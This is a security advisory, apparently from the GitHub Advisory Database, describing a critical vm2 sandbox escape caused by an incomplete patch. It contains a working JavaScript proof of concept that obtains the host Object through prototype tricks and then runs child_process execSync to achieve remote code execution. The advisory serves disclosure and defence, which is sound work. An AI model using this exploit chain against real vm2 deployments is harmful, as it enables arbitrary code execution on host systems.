vm2 Access to Host Object Enables Sandbox Escape

### Summary It is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete. ### Details There are various ways to use the host `Object`, to escape the sandbox, one example would be using `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)` ### PoC ```js const g = {}.__lookupGetter__; const a = Buffer.apply; const p = a.apply(g, [Buffer, ['__proto__']]); const o = p.call(p.call(a)); const HObject = o.constructor; sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0); const obj = { [sym]: (depth, opt, inspect) => { inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")(); }, valueOf: undefined, constructor: undefined, }; WebAssembly.compileStreaming(obj).catch(() => {}); ``` ### Impact Sandbox Escape -> RCE

Source published

7 May 2026 04:00:19 UTC

Source modified

14 May 2026 20:47:29 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL